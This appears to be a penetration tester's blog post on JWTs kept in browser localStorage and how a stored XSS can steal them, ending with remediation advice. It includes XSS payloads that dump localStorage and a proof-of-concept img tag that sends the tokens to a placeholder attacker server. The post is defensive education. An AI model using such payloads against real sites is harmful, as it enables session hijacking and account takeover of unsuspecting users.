Stealing JWTs in localStorage via XSS

David Roccasalva
Privasec RED
Published in
5 min readSep 10, 2019

Over the last few months, I’ve come across some implementations of JSON Web Tokens (JWTs) that have ultimately led to compromise of the web application. Some scenarios include, stealing admin tokens through XSS (detailed in this blog) and forging claims during account registration to create standard accounts with admin privileges.

While JWTs are different to your traditional cookie, there are similarities and sometimes misconceptions in that they cannot be compromised through such attacks.

Throughout this blog, I’ll briefly explain what JWTs are, similarities with traditional cookies, how they differ, an example of stealing them, and how to secure them.

What are JSON Web Tokens (JWTs)?

In a nutshell, a JWT is a JSON Web Token . It’s a simple way of authenticating users against systems, possibly using open source libraries within the implementation . A JWT is made-up of three components separated by a single dot:

header.payload.signature

The header typically details what hashing algorithm is in use, the payload contains information relating to the user (e.g. role/level of access), and the signature ensures integrity.

In most configurations, once a user provides valid credentials, this token is set within HTTP headers and used for ongoing authorisation, similar to that of a standard session cookie.

There have been many reported JWT vulnerabilities over the years that have already been well documented such as algorithm attacks and manipulation of the payload to gain higher privileges. For the purpose of this blog, I’m not going to delve further into the JWT architecture and/or previous vulnerabilities.

How traditional cookies and JWTs are retrieved

If we quickly recap what the purpose of a cookie is, it’s to provide stateful information to an in-stateful protocol (HTTP). As a simple example, session cookies are used to track a user’s authenticated session on a web application. For this to work, a record of the session must exist both server-side and client-side.

From a JWT perspective, the token can be stateless. Meaning, there is no record of the session saved server-side. Instead, each request sent to the server contains a token of the user in which the server validates his or her authenticity.

Both cookies and JWTs follow a similar flow of events to request and receive a session token. Once a user provides valid credentials, the server responds with a session token. Cookies are set with the SET-COOKIE directive, whereas a JWT is generally set within the AUTHORIZATION header.

Where are they stored?

Using a default configuration, to summarise:

localStorage / sessionStorage

  • By default, you’ll find JWTs here.
  • These web browser containers are almost identical.
  • localStorage persist after the browser is closed.
  • sessionStorage only last until the browser is closed.
  • Can only be read client-side, not server-side.
  • Can be read by JavaScript (Uh-oh!).

Cookies

  • Purpose here is to send information to be read server-side for validation.
  • With the right protections, it can be difficult to be read by malicious JavaScript (Oh yay!).
Typical web browser storage containers

Traditional cookie protections

Authentication cookies are commonly targeted through XSS vulnerabilities, providing attackers with the ability to hijack admin sessions and ultimately open the potential for footholds into network perimeters though vulnerable webservers.

There are headers that can be set for data stored within the cookie container. Aside from addressing the underlying XSS issues, as an example, there are flags such as HttpOnly, secure, path and domain that provide various levels of protection.

Then you have JWTs stored in localStorage… which is like storing your password in a text file.

Example of stealing JWTs in localStorage through XSS

In a recent engagement, I discovered a stored XSS vulnerability that was using JWTs for authentication. Once the payload was set, any victim who visited this webpage would have their JWT sent to me.

Initially, I couldn’t retrieve the JWT through XSS. Mostly because each JWT is stored with unique identifiers/keys, so you simply can’t call it without knowing this information.

As an example, a typical way of rendering a standard cookie (without protections) in a JavaScript alert box is:

<script>alert(document.cookie)</script>

As data in localStorage is stored within an array, it cannot be called using a similar method:

<script>alert(localStorage)</script>
localStorage alert box

One way of doing this for data in localStorage or sessionStorage is to retrieve each item using getItem().

<script>alert(localStorage.getItem(‘key’))</script>

Example:

<script>alert(localStorage.getItem(‘ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken’))</script>
Disclosure of a JWT accessToken

But as above, you would need to know this unique identifier ‘key’ as highlighted below:

Example list of keys stored within localStorage

Well so I thought. I guess you could brute-force this, or write some JavaScript to iterate through each item within localStorage. Alternatively, why not just dump everything.

There’s a good way of doing this with JSON.Stringify. This will convert all of the localStorage contents into a string and overcome this barrier, as an example:

<script>alert(JSON.stringify(localStorage))</script>
localStorage contents converted to a string

A complete XSS PoC to steal a JWT would look like this:

<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>
Example of a JWT disclosed through an XSS vulnerability and sent to an attacker-controlled server

Depending on the target implementation, this will more than likely provide you with an IdToken, accessToken and many other associated tokens. The IdToken would be used to authenticate and masquerade as the user in question (essentially an account-takeover) and the accessToken can be used to generate a brand new IdToken with the authentication endpoint.

The biggest issue here is the lack of ability to apply traditional cookie security flags to items stored in localStorage.

Remediation

While every implementation will be different with varying factors. There is an approach you can follow to harden your JWTs by using traditional cookie protections. At a high-level:

  • NEVER store anything sensitive in localStorage such as JWTs or any other credential for that matter. The purpose of localStorage is to provide user convenience and experience by saving website states and settings.
  • Consider using the cookie header over the authorisation header.
  • Set your cookie header protections.
  • Never render the token on screen, in URLs and/or in source code.

--

--